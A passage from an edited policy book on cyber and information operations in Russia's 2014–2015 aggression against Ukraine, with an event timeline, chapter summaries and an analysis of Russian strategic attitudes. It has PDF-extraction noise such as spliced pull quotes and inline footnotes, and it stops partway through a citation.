Today s (RT) altered headlines with the word Nazi added and DDoS attacks against the NATO and NATO CCD COE websites, which are briefly taken offline during the Euromaidan protests. Private sector reports announce that advanced persistent threat (APT) cyber espionage tools have been discovered in Ukraine and in NATO countries. Malware analysis suggests that the campaigns are based in Russia. New and more menacing forms of malware include Turla/Uroburos/Snake, RedOctober, MiniDuke, and NetTraveler. Anonymous users or hacktivist groups such as CyberBerkut continuously leak stolen, sensitive information. For example, on February 4 2014, a phone call between the US Assistant Secretary of State and the US Ambassador to Ukraine, which includes derisive comments regarding the EU, is uploaded to YouTube. At the Euromaidan street demonstrations, there are physical and cyber attacks against opposition servers, smartphones, websites, and Internet accounts; the most serious incidents coincide with the lethal shooting of protestors. During the occupation of Crimea, Russian special forces seize an Internet Exchange Point (IXP) and sever Internet cables. According to Ukrainian intelligence, an IP-telephonic attack originating from Crimea targets the mobile devices of Ukrainian parliament members. Hackers also leak stolen data, including a bugged phone call between the Estonian Ministry of Foreign Affairs and the EU, which fuels conspiracy theories and appears to support the Russian narrative regarding sniper shootings at Euromaidan. Ukrainian officials report a sophisticated cyber attack against the Ukrainian Central Election Commission on May 21-25 2014. DDoS attacks impede information exchange. A computer virus is launched to undermine the credibility of the elections and presents false election results to the official election website. Specialists contain the virus, but the Russian TV station Channel One nonetheless airs the fake results. Media reports describe a troll factory in St. Petersburg, Russia, where hundreds of people are allegedly creating pro-Russian government content for both domestic and international social media. This analysis highlights the active use of social media as a prominent threat vector for information operations. A private sector report claims that a Russian cyber espionage campaign has targeted the MH17 investigation being conducted by Dutch, Malaysian, Australian, Belgian, and Ukrainian authorities. In eastern Ukraine, signals intelligence (SIGINT) operations make use of Internet data (e.g. location data from mobile phones and Wi-Fi networks) to locate and target Ukrainian military forces. Hacktivists on both sides continue to leak sensitive or compromising data to support their cause. In one case, hackers access public CCTV cameras in eastern Ukraine. The region has been isolated from the rest of Ukraine via Internet censorship and regular forensics checks on citizens computers and mobile devices. This event overview is not exhaustive and includes prominent incidents; it is based on open source reports and information provided by this book s authors. Chapter 1 Introduction: Cyber War in Perspective Kenneth Geers NATO CCD COE1 / Atlantic Council / Taras Shevchenko National University of Kyiv Cyber war is a hot topic. Armed forces, intelligence, and law enforcement agencies have made computer security from defence to offence a top priority for investment and recruitment. In fact, current efforts to take the higher ground in cyberspace are so intense that many governments will overreach, with unfortunate ramifications for democracy and human rights around the world. The current Russo-Ukrainian conflict appears to have all the necessary ingredients for cyber war. Moscow and Kyiv, and indeed the entire NATO Alliance, are playing for the highest geopolitical stakes. Russia has already annexed Crimea, and there is an ongoing military standoff in eastern Ukraine. Both countries possess a high level of expertise in science, technology, engineering and mathematics (STEM), which has naturally led to an aptitude for, and experience with, computer hacking. Despite these factors, there are still many sceptics over cyber war, and more Can cyber attacks offer solquestions than answers. Although diers more than a temporary, malicious code has served criminals tactical edge on the battlefield? and spies very well, can cyber attacks offer soldiers more than a temporary, tactical edge on the battlefield? Can it have a strategic effect? What norms should be established in international relations to govern nation-state hacking in peacetime and in war? Dr Kenneth Geers was a Scientist at NATO CCD COE in 2007 2011 and now holds the position of Centre Ambassador. This book serves as a benchmark in the early history of Internet-era warfare. For world leaders and system administrators alike, the cyber dimension of the Ukraine crisis offers many lessons and sheds light on whether cyber war is still closer to science fiction than reality. The research is divided into five sections: Strategic Framework, Tactical Viewpoints, Information Warfare, Policy and Law, and The Future. Each chapter has been written by a leading expert in national security, network security, or both. It has been a pleasure and an honour to work with all of them. Many thanks to the North Atlantic Treaty Organisation Cooperative Cyber Defence Centre of Excellence (NATO CCD COE) for sponsoring this research. Cyber War in Perspective: Russian Aggression against Ukraine opens with a chapter by Russia scholar Keir Giles of the Conflict Studies Research Centre in Oxford, UK. Keir offers deep insight into the background to this crisis, and explains why it may not be resolved any time soon. Russia and the West are said to have two distinct views of the world. Moscow is unlikely to tolerate true independence and sovereignty for its former Soviet satellite states, and remains vehemently opposed to Western support for them. It has many strategies and tactics traditional and cyber that it can employ against Ukraine and its other neighbours, while the West is both hesitant and divided. In Chapter 3, James J. Wirtz, Dean of the Naval Postgraduate School in California, describes the global context surrounding these events. Today, nation-states are integrating cyber tactics into their political and military strategies. Professor Wirtz posits that when it comes to the use of cyber, national styles might be emerging as states attempt to use cyber capabilities to achieve strategic objectives. He suggests that it is wrong to treat cyber attacks as a silver bullet, and that it is better to consider how a sort of combined arms approach will prevail. On a positive note, the need for legal and bureaucratic integration of policies and programmes should produce national idiosyncrasies on the cyber battlefield that can help with the vexing challenge of attribution. James Andrew Lewis of the Centre for Strategic and International Studies (CSIS) analyses the geopolitical effects of cyber attacks in Chapter 4. He discusses two metrics: strategic effects that diminish an opponent s will or capacity to fight (e.g. influencing public opinion) and tactical effects that degrade military power (e.g. confusing troops, or denying service to weapons). Success is premised upon observable, real-world effects. In Ukraine, Russian cyber operations had no strategic effect and only a limited, short-term political effect. In Chapter 5, RAND s Martin Libicki takes one of this book s strongest stances. He asks why, despite the existence of a hot military conflict and ample hacker talent, there is no cyber war in Ukraine. There have been hacktivist outbursts, web defacements, distributed denial-of-service (DDoS) attacks, and cyber espionage, but everything we have seen so far falls well short of how national security thinkers and Hollywood have portrayed cyber war. Libicki explores several possible reasons. Does Ukraine not possess cyber-enabled critical infrastructures? Are Russia and Ukraine wary of taking (or escalating) their conflict into the cyber domain? Or are our notions of cyber war simply overrated? Nikolay Koval, head of Ukraine s Computer Emergency Response Team (CERT-UA) during the revolution, describes in Chapter 6 how cyber attacks rose in parallel with ongoing political events, in both number and severity. In 2012, hackers defaced Ukrainian government websites with politically motivated digital graffiti. In 2013, network defenders discovered new and more menacing forms of malware, such as RedOctober, MiniDuke, and NetTraveler. In 2014, hacktivist groups such as CyberBerkut published stolen Ukrainian Government documents. Koval analyses in detail the most technically advanced attack investigated by CERT-UA: the May 2014 compromise of Ukraine s Central Election Commission (CEC). He closes by appealing to the Ukrainian Government to allocate greater funds to hire and retain qualified personnel. In Chapter 7, ISACA Kyiv researcher Glib Pakharenko has written a first-hand account of cyber attacks during the revolution in Ukraine. At the EuroMaidan street demonstrations, there were physical and logical attacks against opposition servers, smartphones, websites, and Internet accounts; the most serious incidents coincided with the lethal shooting of protestors. In Crimea, attacks ranged from severing network cables to commandeering satellites to wholesale changes in Wikipedia. In eastern Ukraine, cyber espionage such as the use of location data from mobile phones and Wi-Fi networks has aided in targeting Ukrainian army units; the region has also been isolated from the rest of Ukraine by Internet censorship and regular forensics checks on citizens computers and mobile devices. Pakharenko ends this chapter by providing the Ukrainian Government with a significant to do list of best practices in network security. FireEye s Jen Weedon, in Chapter 8, discusses Russia s strategic use of computer network exploitation (i.e. cyber espionage). Today, via the Internet, intelligence agencies can gather information on an industrial scale, which can be used for any purpose, including tactical support to military operations. From a targeting perspective, Weedon discusses strategies for creating a decisive information advantage, prepping a battlefield through denial and deception, and how hackers might even cause real-world physical destruction; and details the technical aspects of suspected Russian cyber operations, including malware samples, hacker tactics, and compromised infrastructure. In Chapter 9, Tim Maurer of the New America Foundation explores the role that non-state, proxy cyber actors have played in the Ukraine crisis. In both Russia and Ukraine, there is ample private sector computer hacking expertise which each government would theoretically have an incentive to exploit for efficacy and plausible deniability. However, throughout this crisis, there has counterintuitively been very limited proxy use. There have been a few dubious hacktivist attacks, but expert volunteers and cyber criminals do not appear to have been politicised or mobilised to any significant degree in support of geopolitical cyber campaigns. Criminal behaviour remains largely profit-driven. In particular, the Ukrainian Government has not shown a capacity to harness volunteer cyber expertise, as Russia is thought to have done during its previous crises with Estonia and Georgia. Swedish Defence University researcher Margarita Levin Jaitner highlights current Russian Information Warfare (IW) theMoscow has an inherent ory in Chapter 10. She contends that Moscow has an inherent belief in the power of inforbelief in the power of mation control to advance its political and information control. military goals. In Russian doctrine, cyber security is subordinate to information security, and cyberspace is only one part of the information space . National security planners are concerned with both technical and cognitive attacks, and recognise that achieving information superiority involves everything from propaganda to hacking to kinetic military operations. Margarita Jaitner argues that the annexation of Crimea was a textbook case in information superiority. In Chapter 11, Liisa Past, a NATO CCD COE expert on strategic communications, analyses leadership discourse. Liisa Past reveals that Russian President Vladimir Putin and Ukrainian President Petro Poroshenko have employed similar rhetorical strategies, including the development of an us vs. them dichotomy in which the in-group is portrayed as constructive and solution-oriented, while the out-group is illegitimate and dangerous. In their current conflict, neither Russia nor Ukraine denies that cyberspace is a domain of warfare, but neither has stressed its importance. Russian political discourse has mostly overlooked cyber issues (which is in line with Russian military doctrine), while Ukraine has framed them within the larger concept of hybrid warfare . The most notable difference in political rhetoric is Kyiv s clear orientation to the West and NATO, while Moscow is keenly focused on Russian national interests. Elina Lange-Ionatamishvili and Sanda Svetoka of the NATO Strategic Communications Centre of Excellence in Latvia, in Chapter 12, discuss the role of social media in this conflict. In the Internet era, the battle for hearts and minds has never been more important. Social media is a trust-based network that provides fertile soil for intelligence collection, propaganda dissemination, and psychological operations (PSYOPS) to influence public opinion or to lead adversaries into harm s way. Soft cyber attacks can be as severe as any attack on critical infrastructure. In Ukraine, they have generated fear, uncertainty, and doubt about the economic, cultural, and national security of Ukraine, while promoting positive messages about Russia s role in Crimea and eastern Ukraine. The authors provide recommendations for defence against such attacks, including how to identify them, challenge them, and how to develop a resilient political narrative to withstand false propaganda. In Chapter 13, University of Michigan doctoral student Nadiya Kostyuk reviews Ukraine s cyber security policy past, present, and future. She analyses numerous historical factors that make Ukraine a cyber safe haven: a strong science, technol- ogy, engineering, and mathematics (STEM) education, underwhelming economic performance since the fall of the Soviet Union in 1991, and social norms which dictate that stealing from the West is not a bad thing. The icing on the cake is that there are currently few cyber security regulations in Ukraine. All of these factors shed light on the vexing challenge of containing cyber crime in the region. Looking toward the future, Nadiya Kostyuk argues that Ukraine s political, military, and economic crises will inhibit the stabilisation of Ukrainian cyberspace for some time. Lt Col Jan Stinissen of the NATO CCD COE, in Chapter 14, offers a legal framework for cyber operations in Ukraine. He explains that international law applies to cyberspace, and the law of armed conflict applies to all relevant cyber operations. Jan discusses the legal definitions of and cyberwar , as well as the concepts of armed conflict armed attack , and use of force . Typically, cyber attacks do not come in isolation, but rather as one element of a larger military operation; the wider context will determine the legal framework for its cyber component. There are many qualifying factors including state vs. non-state actor, and armed conflict vs. law enforcement. In the Ukraine crisis, operations in Crimea (which has already been annexed by Russia) may be viewed differently from those in eastern Ukraine. Stinissen asserts that, globally, most known cyber attacks have simply not been serious enough to be governed by the law of armed conflict, but that this is likely to change in the future. In Chapter 15, NATO CCD COE researcher Henry R igas discusses the impact of known cyber attacks in Ukraine on proposed political cyber norms , the rules of state behaviour in international relations. On the positive side, the absence of attacks against critical infrastructure could be a boon to future international security and stability, especially if it is a result of intentional restraint on the part of Moscow and Kyiv. This case challenges the prevailing perception that a loose normative framework currently allows states to employ cyber attacks as a tool for coercion. On the negative side, the examples of computer network operations we have seen appear to violate the information security norms promoted by Russia and the Shanghai Cooperation Organisation (SCO), as they seem to constitute a war on information itself, that is a dedicated effort to alter public opinion through deceptive propaganda. Finnish Professor Jarno Limn ll, in Chapter 16, discusses the ramifications of the Ukraine war, and its cyber component, for Russia s neighbours. Moscow aggressive behaviour in Ukraine has forced many countries to re-evaluate their political and military relationships, especially with NATO. For historical reasons, Finland and Estonia are well positioned to analyse Russia s use of hybrid warfare, including information operations. Today, these countries are actively pursuing ways to bolster their national defences against Russia s military strategies and tactics in Ukraine. The NATO Alliance should take concrete measures to reassure its member states, such as the creation of a common cyber defence framework. In Chapter 17, Jason Healey and Michelle Cantos of Columbia University imagine four potential cyber conflict scenarios in this crisis. First, even if the hot war cools off, Russia can still raise the temperature in cyberspace, and cause serious network disruptions in Ukraine. Second, Russia could selectively target the West, adding a new vector to its already increased volume of threats, military exercises, subHostile nation-state marine deployments, and nuclear warnings. cyber operations are a Third, Vladimir Putin could mirror the frolong-term, dynamic, zen conflict dynamic in cyberspace by threatmultidimensional threat. ening prolonged disruptions of the global Internet. And fourth, if the Ukraine conflict spins out of control, Russia, in desperation, might even have the power to take down the Internet entirely. To close our book, in Chapter 18, Brookings Institution Nonresident Senior Fellow Richard Bejtlich offers essential advice not only for Ukraine, but for any nation or organisation wishing to improve its cyber security posture. Bejtlich draws from the deep well of classic military doctrine, arguing that hostile nation-state cyber operations are not a single event but a long-term, dynamic, multidimensional threat. The only hope that Ukraine or any other nation has for building an effective defence against professional network attacks is to incorporate strategic thinking into its defensive architecture, personnel, and operations. Chapter 2 Russia and Its Neighbours: Old Attitudes, New Capabilities Keir Giles Conflict Studies Research Centre The View from Moscow The crisis around Ukraine is part of a wider confrontation between Russia and the West, which has persisted at varying degrees of intensity since the fall of the Soviet Union despite periods when the West as a whole refused to recognise that any conflict of strategic interest with Russia existed. After a period where this confrontation lay relatively dormant, the conflict in Ukraine results from the culmination of two important trends in the Russian view of itself and the world: first, a greater and more urgent perception of threat, whether real or imagined, to Russia s own security; and second, a recognition that Russia itself has regained sufficient strength, military and otherwise, to assert itself. The notion that Russia is faced with an existential threat even when that threat is imperceptible from outside Russia has multiple and complex origins. Some of these are permanent and persistent; for example, the idea of vulnerability of Russia borders, which leads to the conviction that in order to protect its borders Russia must exert control far beyond them. In the last century this was one of the drivers for Soviet ultimatums to the Baltic states and Finland which eventually led to their invasion in 1939. This continuing perception feeds into the current portrayal by Russia of NATO enlargement, including to those same Baltic states, as a threat. Regardless of NATO intent, it presents a menace simply by approaching Russia s borders As expressed in a wide range of Russian security policy documents, including the December 2014 Military Doctrine of the Russian Federation and its predecessors. Other, more recent developments have heightened the sense of urgency for Russian security planners. The fear that the West is considering bringing about regime change in Russia does not stand up to objective scrutiny, but appears deep-rooted among a broad sector of the Russian security elite. It Recent developments have has been accentuated in the past heightened the sense of urgency decade by, as Moscow sees it, furfor Russian security planners. ther unrestrained and irresponsible interventions by the West with the intention of regime change, leaving chaos and disorder in their wake. Western action in Libya and support for anti-government rebels in Syria provide prime examples. Thus the prospect of destabilisation closer to home in Ukraine would have been of even more acute and direct concern in Moscow. Even without the accompanying disorder, the threat of the loss of Ukraine to the West posed an immediate military problem: it appears to have been considered plausible in Moscow that this presented an immediate danger of losing the Black Sea Fleet base in Sevastopol, together with the often-overlooked supporting infrastructure scattered across the Crimean peninsula, to NATO. According to Secretary of the Russian Security Council Nikolay Patrushev, the consequences could be even more far-reaching: Americans are trying to involve the Russian Federation in interstate military conflict, to facilitate the change of power by way of using the events in Ukraine, and ultimately to carve up our country. 2 Whether this view is sincerely held by the Russian leadership or not, it is the one that is consistently presented to the Russian public, and to its Armed Forces, as explaining the roots of the current conflict. The fact that Russia was able to use large numbers of Special Operations Forces (SOF) swiftly and effectively to seize control of Crimea, and subsequently to wage an ongoing low-level campaign in eastern Ukraine involving long-term mobilisation of its conventional forces, is a pointer to the other key element of the new Russian approach to confrontation; the recognition that Russia is now in a position to exercise a much more assertive foreign policy than in the recent past. One element of this is the unprecedented and expensive overhaul and rearmament of Russia s Armed Forces which began after the armed conflict with Georgia in 2008 and continues today. The fact that the Russian troops at work in Ukraine are entirely unrecognisable from the forces which entered Georgia just seven years earlier caused surprise and consternation among those Western defence communities that had not been paying attention. But the Ukraine campaign overall is far more than a military operation. Successful coordination of military movements and action with other measures in the political, economic and especially information domains, are the result of strenuous efforts by the Interview with Security Council Secretary Nikolay Patrushev, Rossiyskaya gazeta, 11 February 2015. Putin administration over preceding years to harness other levers of state power to act in a coordinated manner.3 The results of this coordination has left the unprepared West scrambling for a response, and struggling even to define the phenomenon, as witness the tortuous attempts by NATO and Western governments to decide what precisely constitutes hybrid warfare . But the notion of hybridity as applied to the current concept meets little understanding in Moscow. Instead, Russia can be said simply to be attempting to implement grand strategy in the classical sense. Russia s attempt at this whole of government approach to managing conflict is embodied in the National Defence Control Centre in central Moscow, where a wide range of different government ministries and agencies including those responsible for energy, the economy, ecology and more are brought together under the leadership of the General Staff.4 Intensive militarisation, sometimes referred to directly as mobilisation, is also now pervading Russian society, stoked by unending leadership rhetoric of war, confrontation and threat, and blanket military coverage on TV. According to Estonian Ambassador to the Russian Federation J ri Luik, the Russian narrative of war is instrumentalising the population and putting it on a mental war footing , not The notion of hybridity meets only by tapping into the traditional little understanding in Moscow. Russian narrative of victimhood over centuries, but also by engendering heroic feeling that now is the time of risk .5 Furthermore, analysis of Russian security thinking shows not only this asymmetry of threat perception, but also a complete divergence with the West in terms of notions of how and when the military should be used to counter those threats. As so often, there is no single explanation for a given course of action by Russia, and direct intervention in Crimea and Ukraine has also been parsed as a response to the threat posed to Russian business interests by closer integration with the European Union (EU). The EU model of open markets and rules-based dealings runs directly counter to the Russian way of doing business in the near abroad, reinforcing the growing Russian perception of the EU as a problem rather than an opportunity; but few analysts would have predicted that it would be the prospect of an EU Association Agreement for Ukraine, rather than any involvement with NATO, which would eventually lead to military intervention by Russia. The ambivalent attitude to Ukraine as a sovereign nation with a right to choose its own foreign policy direction has its roots in an entirely different view of the end Andrew Monaghan. Defibrillating the Vertikal , Chatham House, October 2014, http://www.chathamhouse.org/publication/ defibrillating-vertikal-putin-and-russian-grand-strategy. , Russian Ministry of Defence website, 1 November 2014, http://function.mil.ru/news_page/country/more.htm?id=11998309@egNews. Speaking at the Lennart Meri Conference, Tallinn, 24 April 2015. of the Soviet Union. That view holds that the former Soviet republics, including Ukraine and the Baltic States, in effect belong to Russia. According to President Putin, in 1991 Russia voluntarily I emphasise voluntarily and consciously made absolutely historic concessions in giving up its own territory .6 This persistent view is not limited to President Putin. According to veteran scholar of Russia Paul Goble: The Russian elite is sincerely convinced that the preservation of influence on the former Soviet republics surrounding it is the status quo and a natural right given by history, even though for the entire rest of the world such an approach is incomprehensible and unnatural What this means is that Moscow acts as if the Soviet Union had not fallen apart, as if it had only been reformatted, but relations between sovereign and vassal have remained as before .7 It is plain that at least in some sectors of society, these aspirations by Russia to regain imperial dominion over its surroundings enjoy broad support. The now-celebrated Prosecutor General of Crimea, Natalya Poklonskaya, in an interview at the time of annexation declared her ambition to start again in a great state, a great power, an empire, like Russia This approach to Russia s inheritance of domination over its neighbourhood appears consistent over time. In 1953, an assessment of recent history that had Informed analysis pointed to Soviet domination over Eastern to Ukraine as the next target led Europe concluded that in the Russian for Russian action. view: Stalin was no more than reasserting Russian authority over territories which had long recognised Tsarist rule, and which had been torn away from Russia at the time of her revolutionary weakness after the First World War The effect of these long-standing assumptions is a mind-set that leads to casual references by Russian generals to nashi byvshiye strany our former countries statements that even Finland and Poland were parts of Russia , and that all major powers have a non-threatening sanitary zone ( sanitarnaya zona ) around them.10 Russia s attempts to maintain, or reassert, this buffer zone are a major contributor to the current stand-off. Since 1991, Moscow has employed a wide range of coercive tools in attempts Ksenija Kirillova. , Novyy Region 2, 28 April 2015, http://nr2.com. ua/blogs/Ksenija_Kirillova/Putin-fakticheski-nazval-Ukrainu-territoriey-Rossii-95566.html. Paul A. Goble. Putin Gives the World His Geography Lesson: All the Former USSR is Russia , The Interpreter, 28 April 2015, http://www.interpretermag.com/putin gives world geography lesson former ussr russia/. Russian television interview available at https://www.youtube.com/watch?v=XX4JCQViRKg (at 2 William Hardy McNeill. America, Britain and Russia: Their Co-operation and Conflict 1941-1946 , (Oxford University Press 1953). Private conversations with author in late 2014. often unsuccessful to maintain influence and leverage over its Western neighbours.11 From the mid-2000s, Russia benefited from a sudden influx of revenue thanks to higher oil prices and began to review its perception of its own strengths accordingly. From the earliest stages, this was reflected in huge budget increases for the Armed Forces,12 and an intensified pattern of testing levers of influence against Western neighbours.13 High-profile incidents during this stage included gas cut-offs for Ukraine in 2006, the crude cyber offensive against Estonia in May 2007, and ultimately the use of military force against Georgia in 2008. In each case, the results validated this approach for Russia: the Georgian conflict in particular demonstrated the validity of use of armed force as a foreign policy tool bringing swift and effective results, with only limited and temporary economic and reputational costs to bear. It was in this context that a range of informed analysis pointed to Ukraine as the next target for assertive Russian action. A UK parliamentary report in 2009 noted that: Many of our witnesses stressed that Russia poses a military threat to other former Soviet states, particularly in light of its actions in Georgia... Some witnesses argued that Russia posed a military threat to Ukraine... one scenario was that Putin could send in military forces to secure the Russian military base at Sevastopol Is This Cyber Warfare? As noted above, the levers of power which Russia is bringing to bear in Ukraine are wide-ranging. This study looks in detail at the specific cyber conflict aspect of the Ukraine crisis, but even this concept is impressively broad thanks to the holistic and inclusive Russian approach to what constitutes information warfare, of which cyber is an integral part. Opinions are divided as to whether what is taking place in and around Ukraine can or should be called cyber war. As Jan Stinissen argues in Chapter 14, current cyber operations do not meet a strict legal definition of a state of war. But at the same time, according to one analysis, operations in Ukraine undoubtedly constitute cyber warfare. The conflict: meets the generally accepted standard for the following reasons: the cyber warfare component is overt, meaning the perpetrators make little effort to hide either their identities or their allegiances. The two countries For a recent overview of the unfriendly means Russia adopts to influence its neighbours, see Russia s Toolkit in The Russian Challenge , Chatham House, June 2015, http://www.chathamhouse.org/publication/russian-challenge-authoritarian-nationalism. Keir Giles. Military Service in Russia: No New Model Army , Conflict Studies Research Centre, May 2007. Jakob Hedenskog and Robert L. Larsson. Russian Leverage on the CIS and the Baltic States , FOI, June 2007, available at www. foi.se/ReportFiles/foir_2280.pdf. Russia: a new confrontation? , House of Commons Defence Committee, Tenth Report of Session 2008-09, 10 July 2009. are in open, hostile and declared conflict with each other. Both sides have stated military and political objectives As if to emphasise the point, intensive cyber attacks reportedly cease during the occasional observance of ceasefires.16 Other elements of the cyber conflict also confound definition. Operations to date represent an evolution in Russian tactics compared to previous campaigns. Both cyber and traditional elements of conflict are present, but they are both less overt and more difficult to understand and defend against. In part, this is due to Ukraine s very different cyber terrain. Comparisons to Russia s rudimentary cyber efforts at the time of the Georgian conflict in 2008 are of limited value. Unlike Georgia, Ukraine s more interconnected nature makes it impossible to restrict access to the internet overall, except in the very special case of the Crimean peninsula. But in addition, there is no reason why Russia should try, especially given the integrated nature of Ukrainian and Russian information space. Since Russia already enjoyed domination of Ukrainian cyberspace, including telecommunications companies, infrastructure, and overlapping networks, there was little incentive to disrupt it. In short, Russia had no need to attack that which it already owned.17 To give one simplistic but indicative example, little offensive cyber effort is needed for Russia to access sensitive Ukrainian e-mail traffic when so many Ukrainians, including government officials, use Russian mail services and therefore provide automatic access to the Russian security and intelligence services.18 A distinctive aspect of information operations in Ukraine itself, and one with important implications for how cyber war may be waged in future, is the way Russian activity in the cyber domain facilitates broader information warfare aims. This manifests itself not only in straightforward spearphishing of Ukrainian officials19 for exploitation, but also in specific uses of malware in the conflict.20 A particular example is the redirection of malware originally intended for cybercrime to manipulating viewer figures to promote pro-Russian video clips.21 But potentially even more significant for the nature of future cyber operations is the new interface Tony Martin-Vegue. Are we witnessing a cyber war between Russia and Ukraine? Don t blink you might miss it , CSO, 24 April 2015, http://www.csoonline.com/article/2913743/cyber-attacks-espionage/are-we-witnessing-a-cyber-war-betweenrussia-and-ukraine-dont-blink-you-might-miss-it.html. Aarti Shahani. Report: To Aid Combat, Russia Wages Cyberwar Against Ukraine , NPR, 28 April 2015, http://www.npr.org/ blogs/alltechconsidered/2015/04/28/402678116/report-to-aid-combat-russia-wages-cyberwar-against-ukraine. Patrick Tucker. Why Ukraine Has Already Lost The Cyberwar, Too , Defense One, 28 April 2014, http://www.defenseone.com/ technology/2014/04/why-ukraine-has-already-lost-cyberwar-too/83350/print/. Anna Poludenko-Young. Ukrainian Officials, Russian Security Services Thank You for Your Cooperation! , GlobalVoices, 23 May 2015, http://globalvoicesonline.org/2015/05/23/ukrainian-officials-russian-security-services-thank-you-for-your-cooperation/. Undated PowerPoint presentation by SBU (Security Service of Ukraine), entitled Kenneth Geers. Strategic Analysis: As Russia-Ukraine Conflict Continues, Malware Activity Rises , FireEye, 28 May 2014, https://www.fireeye.com/blog/threat-research/2014/05/strategic-analysis-as-russia-ukraine-conflict-continues-malware-activity-rises.html. Rami Kogan. Bedep trojan malware spread by the Angler exploit kit gets political , Trustwave, 29 April 2015, https://www. trustwave.com/Resources/SpiderLabs-Blog/Bedep-trojan-malware-spread-by-the-Angler-exploit-kit-gets-political/. between cyber and kinetic operations. When Russia wished to isolate Crimea from news from the outside world, no sophisticated cyber exploits were required. Instead, SOF detachments simply took over the Simferopol IXP and selectively disrupted cable connections to the mainland.22 In short, complex and expensive informaRussian activity in the cyber tion weapons are entirely unnecessary in domain facilitates broader situations where the adversary can gain information warfare aims. physical control of infrastructure. The circumstances of Crimea were unique, and not only because of the peninsula s distinctive internet geography; but Russian planners will have noted this striking success and will be looking for where it can be applied elsewhere. There are two important implications for planning for future crises with Russia. First, both civil and military contingency planning should include scenarios where friendly access to the internet is degraded or absent; and second, civilian internet infrastructure needs at least as much defence and protection as other strategic assets. In any case, the course of the conflict so far has seen no visible full-scale cyber hostilities of the kind envisaged by theorists, a theme examined in more detail by Martin Libicki in Chapter 5. The tactics, techniques and procedures which have been used at various stages of the conflict are the subject of two separate detailed examinations by Nikolay Koval and Glib Pakharenko in Chapters 6 and 7. Reactions and Responses Information campaigning, facilitated by cyber activities, contributed powerfully to Russia s ability to prosecute operations against Ukraine in the early stages of the conflict with little coordinated opposition from the West. The fact that for almost a year the EU was unable to refer publicly to the presence of Russian troops in Ukraine23 denotes a broader inability to challenge the Russian version of events without which a meaningful response is difficult or impossible. Early media coverage of the conflict made it apparent that some interlocutors had swallowed whole some of the cruder falsifications of Russian propaganda As the realisation of the nature of the Russian information campaign began to filter through Western media and policy-making circles, this gave way to a dangerous optimism about the effectiveness of Russian measures, and a widespread assumption that Russian disinformation was failing because of its lack of plausibil22 , Ukrtelekom, 28 February 2014, http://www.ukrtelecom.ua/presscenter/news/official?id=120327. Andrew Rettman,. EU breaks taboo on Russian forces in Ukraine , EU Observer, 16 February 2015, https://euobserver.com/ foreign/127667. John Besemeres. Russian disinformation and Western misconceptions , Inside Story, 23 September 2014, http://insidestory.org. au/russian-disinformation-and-western-misconceptions. ity. Supposedly, Russian lies were ineffective because they were so obvious that they did not confuse senior and intelligent individuals in the West. But this was to underestimate the effects of layered messaging, subtlety screened and concealed by more obvious fabrications, continued saturation, and in particular the pernicious effect of the filter bubble on online reading habits the way personalised search results driven by advertising models can effectively isolate internet users from alternative information and viewpoints.25 Russian official sources continue to disseminate lies which are easily detected and discredited in the West, as with the striking example of the discovery of supposed US MANPADS in Donetsk in late July 2015.26 But the implausibility is irrelevant for Russian objectives: the story has been planted and will continue to be disseminated via the internet, and will not be Implausibility is irrelevant contradicted in mainstream sources within Russia. Instead of convincing Western for Russian objectives. readers that the disinformation is true, Russian success is defined in two other ways: isolating the domestic audience from non-approved information so that Russian state actions are permissible; and influencing foreign decision making by supplying polluted information, exploiting the fact that Western elected representatives receive and are sensitive to the same information flows as their voters. When Russian disinformation delivered in this manner is part of the framework for decisions, this constitutes success for Moscow, because a key element of the long-standing Soviet and Russian approach of reflexive control is in place. Crucially, it must be remembered that Russian disinformation campaigns aimed at the West are conducted not only in NATO languages, but also in Arabic and Russian targeting minorities across Europe. This itself has major implications for managing future confrontations between Russia and other front-line states, which must involve finding a means to respond to Russian information operations when the initiative necessarily lies with Russia. As put pithily by journalist and author Peter Pomerantsev, they will always win the narrative war, because they can make stuff up For the time being, much of the Western response appears focused on finding a label for the newly-demonstrated Russian way of warfare. A range of early contenders, such as non-linear war ambiguous war and others have largely been abandoned in favour of hybrid warfare , a concept originally designed for describing insurgency rather than warfighting by an aspiring regional power, but now applied to a totally new situation. Nevertheless many of the components now being used to define hybridity are nothing new in Russian practice. One argument How to Burst the Filter Bubble that Protects Us from Opposing Views , MIT Technology Review, 29 November 2013, http:// www.technologyreview.com/view/522111/how-to-burst-the-filter-bubble-that-protects-us-from-opposing-views/. Brian Ashcraft. Pro-Tip: Don t Copy Battlefield 3 Stingers , 23 July 2015, Kotaku.com, http://kotaku.com/pro-tip-dont-copybattlefield-3-stingers-1719695507. Speaking at the Lennart Meri Conference, Tallinn. 24 April 2015. holds that a previous round of expansionism by Russia in 1939-40 shared sufficient characteristics with current operations around Ukraine, including intimidation, spurious legitimation, and information campaigns backed with the prospect of full-scale invasion, to also be called hybrid warfare.28 Russia s clinging to the attitudes and approaches of a former age holds other dangers too: Russian military, and in particular nuclear, messaging is baffling to its Western audience because the post-nationalist West has moved on from the Cold War mind-set in which it is rooted. The result is a dangerous situation where the messages from Russia are received, but not understood. Outlook At the time of writing the situation around Ukraine remains fluid and unpredictable. While Russia shows no signs of pushing for greater territorial control of Ukraine, moves toward conciliation by the West give rise to fears of appeasement and the danger of a repeat of the disastrous resolution to the Georgia conflict seven years before.29 But one undeniable achievement by Russia is the transformation of the security environment in Central and Eastern Europe. Faced with a challenge that is no longer deniable, Europe has overcome its strategic inertia .30 NATO in particular has been revitalised: the NATO agenda has shifted radically from contemplation of a future role after withdrawal from Afghanistan, now that the Alliance has a clear motivation to return to its core purpose. Poland and the Baltic states, long cast as irresponsible trouble-makers for warning of the implications of a resurgent Russia, are now fully vindicated and benefiting from the overall NATO and unilateral US military response to the crisis. Each is at present supporting these front-line states with very small increments of conventional military forces, while considering how to respond to the broader threat of a more assertive Russia.31 The Ukraine conflict has the potential to bring about a transformative effect specifically within cyber doctrine. Unlike Russia, the siloed Western approach to cyber has typically focused on technical responses to technical threats, largely disregarding the interface with information warfare in the broad sense. This approach is entirely apt for persistent or background threats, but probably insufficient for when a national security crisis emerges, since at that point there will be no such thing as pure cyber confrontation. In other words, the West may have been well prepared Vitalii Usenko and Dmytro Usenko. Russian hybrid warfare: what are effects-based network operations and how to counteract them , Euromaidan Press, 17 January 2015, http://euromaidanpress.com/2015/01/17/russian-hybrid-warfare-what-are-effectbased-network-operations-and-how-to-counteract-them/. Karoun Demirjian. Visits by top U.S officials give Russia something to crow about , The Washington Post, 18 May 2015, http:// www.washingtonpost.com/world/europe/visits-by-top-us-offi...about/2015/05/18/3c562a94-fd6b-11e4-8c77-bf274685e1df_ story.html. Andrew A. Michta. 